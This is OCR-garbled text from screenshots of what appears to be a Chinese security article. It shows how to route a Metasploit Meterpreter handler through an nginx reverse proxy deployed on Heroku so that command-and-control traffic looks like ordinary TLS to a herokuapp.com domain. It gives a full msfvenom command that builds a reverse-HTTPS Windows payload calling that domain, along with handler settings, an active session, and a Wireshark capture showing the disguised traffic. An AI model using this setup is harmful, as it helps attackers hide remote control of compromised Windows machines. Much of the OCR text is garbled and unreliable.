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Deploy your own
nginx-proxy

Deploy nginx-proxy on Heroku.

FunnyWolf/nginx-proxy-heroku#master

App name

mydiydomain (]

mydiydomain is available
Choose a region

E= United States

<

® Addto pipeline...

Config Vars

TARGET

proxy target https://domain:port

https:, rer.cool :8|443
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Deploy app

o Rjomih Deploy app AAEBEMEE.

e 7 metasploit—framework 1750 handler, B2 & 1E

msf6 payload ( ) > show options

Module options (payload/windows/x64/meterpreter reverse https):

Name Current Setting Required Description

EXITFUNC process Exit technique (Accepted: '', seh, thread, process, none)
EXTENSIONS Comma—-separate list of extensions to load

EXTINIT Initialization strings for extensions

LHOST X .per.cool The local listener hostname

LPORT 8443 The local listener port

LURT viper The HTTP Path

msfe payload ( ) > : ( www.anquanke.com )

HttpReferer An optional value to use for the Referer HTTP header

HttpServerName Apache The server header that the handler will send in response to requests
HttpUnknownRequestResponse <html><body><h1>Tt works!</hl></body></html> The returned HTML response body when the handler receives a request that
HttpUserAgent Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko The user—agent that the payload should use for communication Max parametd
IgnoreUnknownPayloads false Whether to drop connections from payloads using unknown UUIDs
InitialAutoRunScript An initial script to run on session creation (before AutoRunScript)
KillHandlerFouce false stop handler without check whether session exists

OverrideLHOST mydiydomain.herokuapp.com When OverrideRequestHost is set, use this value as the host name for secd
OverrideLPORT 443 When OverrideRequestHost is set, use this value as the port number for sq
OverrideRequestHost true Forces a specific host and port instead of using what the client requestq
OverrideScheme When OverrideRequestHost is set, use this value as the s&éi@Ehiewfanuameconds

e 11T to_handler “Ef listener

o {FRW Fap< AL payload

msfvenom -p windows/x64/meterpreter_reverse_https LHOST=mydiydomain.herokuapp.com LPORT=443 -f exe -0 ~/payload.exe

o EERiTEMZRETENF]

Active sessions

Information Connection
meterpreter x64/windows WIN200SE @ WIN2008B 172.17.32.209:8443 —>|34.229.193.70:42208 [(192.168.146.12)

msfé payload( )y > I

Z2E (www.anquanke.com )

o ERMNIMBARIT

PS C:\Windows\system32> netstat -ano |findstr 2060

TCP 192.168.146.12: 49227 34.234.209.139: 443
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No.

Time Source Destination Protocol |Length | Info 1=
426.. 6886.317285 192.168.146.12 34.234.209.139 TCP 66 49227 - 443 [SYN] Seq=0 Win=8192 Len=@ MSS=1460 WS=2—
426.. 6086.601312 34.234.209.139 192.168.146.12 TCP 60 443 » 49227 [SYN, ACK] Seq=0 Ack=1 Win=6424@ Len=8 N
426.. 6086.601332 192.168.146.12 34.234.209.139 TCP 54 49227 - 443 [ACK] Seg=1 Ack=1 Win=64248 Len=0

601527 i192.168.146.12 i34.234.209.139 TLSv1 Client Hello
426.. 6086.601647 34.234.209.139 192.168.146.12 TCP 60 443 -» 49227 [ACK] Seq=1 Ack=159 Win=64240 Len=0
426.. 6086.882030 34.234.289.139 192.168.146.12 TLSv1 1514 Server Hello
426.. 6086.882031 34.234.209.139 192.168.146.12 TCP 1514 443 -+ 49227 [ACK] Seq=1461 Ack=159 Win=64240 Len=14€
426.. 6086.882031 34.234.289.139 192.168.146.12 TLSv1 1418 Certificate, Server Key Exchange, Server Hello Done
426.. 6086.882055 192.168.146.12 34.234.209.139 TCP 54 49227 - 443 [ACK] Seq=159 Ack=4277 Win=6424@ Len=e
426.. 6086.886489 192.168.146.12 34.234.209.139 TLSv1 188 Client Key Exchange, Change Cipher Spec, Encrypted F
426.. 6086.886679 34.234.289.139 192.168.146.12 TCP 60 443 - 49227 [ACK] Seq=4277 Ack=293 Win=64240 Len=0
426.. 6@87.155416 34.234.209.139 192.168.146.12 TLSv1 113 Change Cipher Spec, Encrypted Handshake Message
426.. 6087.156138 192.168.146.12 34.234.209.139 TLSv1 427 Application Data
426.. 6087.156270 34.234.289.139 192.168.146.12 TCP 60 443 - 49227 [ACK] Seq=4336 Ack=666 Win=6424@ Len=0
427.. 6088.084332 34.234.209.139 192.168.146.12 TLSv1 267 Application Data

184813 34.234.209.139 192.168.146.12

1079 148 144 12

[TCP Retransmission] 443 » 49227 [PSH,.

AT AOARR 1RAR27F

iWireshark -« 434 426889 - AHuEE

- Frame 426889: 1514 bytes on wire (12112 bits), 1514 bytes captured (12112 bits) on interface \Device
[+I- Ethernet II, Src: VMware fc:50:32 (@0:50:56:fc:50:32), Dst: VMware f2:19:c4 (00:0c:29:f2:19:c4)
- Internet Protocol Version 4, Src: 34.234.209.139, Dst: 192.168.146.12
[+l- Transmission Control Protocol, Src Port: 443, Dst Port: 49227, Seq: 1, Ack: 159, Len: 1468
= Transport Layer Security
(=} TLSv1 Record Layer: Handshake Protocol: Server Hello
?-Content Type: Handshake (22)
i-Version: TLS 1.0 (0x0301)
- Length: 89
[=l- Handshake Protocol: Server Hello
- Handshake Type: Server Hello (2)
- Length: 85
~Version: TLS 1.e (@xe30l)
[=}- Random: 924d9f90lceld4f10089321dcece6ac8e96efbfead790821..
- GMT Unix Time: Oct 13, 2047 14:24:16.000000000 = [ f7iit[g]
- Session ID Length: 32
- Session ID: 3963bea3792dd7el8b3b777fd94cf29b4995abfc2848e92e...
-~ Cipher Suite: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (©xc@13)
- Compression Method: null (@)
- Extensions Length: 13

[+ Extension: renegotiation_info (len=1)
[+ Extension: ec_point_formats (len=4)
< | i |
0040 N
0050
0060
0070
0080
0090 063 00 91 02 16 03 01 O F3 Ob 00 Qe 4 0O Be F1  crvrever sonennas
0020 --j@--f@ --N-----
eebe D B SRR
00ce Q- --% Heveoono
eede -@p1-@-- -U----US
00e0 1-@---U- ---DigiC
00f0 65 72 74 2@ 49 6e 63 31 19 30 17 @6 03 55 @84 @b  ert Incl -@---U--
0106 13 18 77 77 77 2e 64 69 67 69 63 65 72 74 2e 63 --www.di gicert.c
0116 6f 6d 31 2f 30 2d @86 @3 55 04 03 13 26 44 69 67 oml/@--- U---8&Dig

0126 69 43 65 72 74 20 53 48 41 32 20 48 69 67 68 20
0128 41 73 73 75 72 61 6e 63 65 20 53 65 72 76 65 72
9140 20 43 41 30 1le 17 od 32 30 30 36 31 35 30 30 30
9156 30 30 30 5a 17 ed 32 31 38 37 30 37 31 32 30 30
9160 30 30 5a 30 6b 31 @b 30 ©9 ©6 03 55 04 06 13 @2
@178 55 53 31 13 30 11 @6 @3 G55 84 08 13 Qa 43 61 6¢C
0180 69 66 6 72 6e 69 61 31 16 30 14 06 @3 55 @4 07 ifornial -@---U--
9196 13 @d 53 61 6e 20 46 72 61 6e 63 69 73 63 6T 31 --San Fr anciscol
©la0 15 30 13 96 @3 55 04 @a 13 @c 48 65 72 6f 6b 75 +@---U-- --Heroku
01be 2c 20 49 62 63 22 31 18 30 16 96 ©3 55 94 83 Oc¢ , Inc.1- ©---U---
0lco ©f 2a 2e 68 65 72 6f 6b 75 61 70 70 2e 63 6 6d -*_.herok uapp.com
91de 30 82 @1 22 30 ©d 66 V9 2a 86 48 86 f7 od o1 01
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01f0 ©@ ¢9 cd d6 bl f8 39 b6 2e 63 93 47 6f ec 55 el
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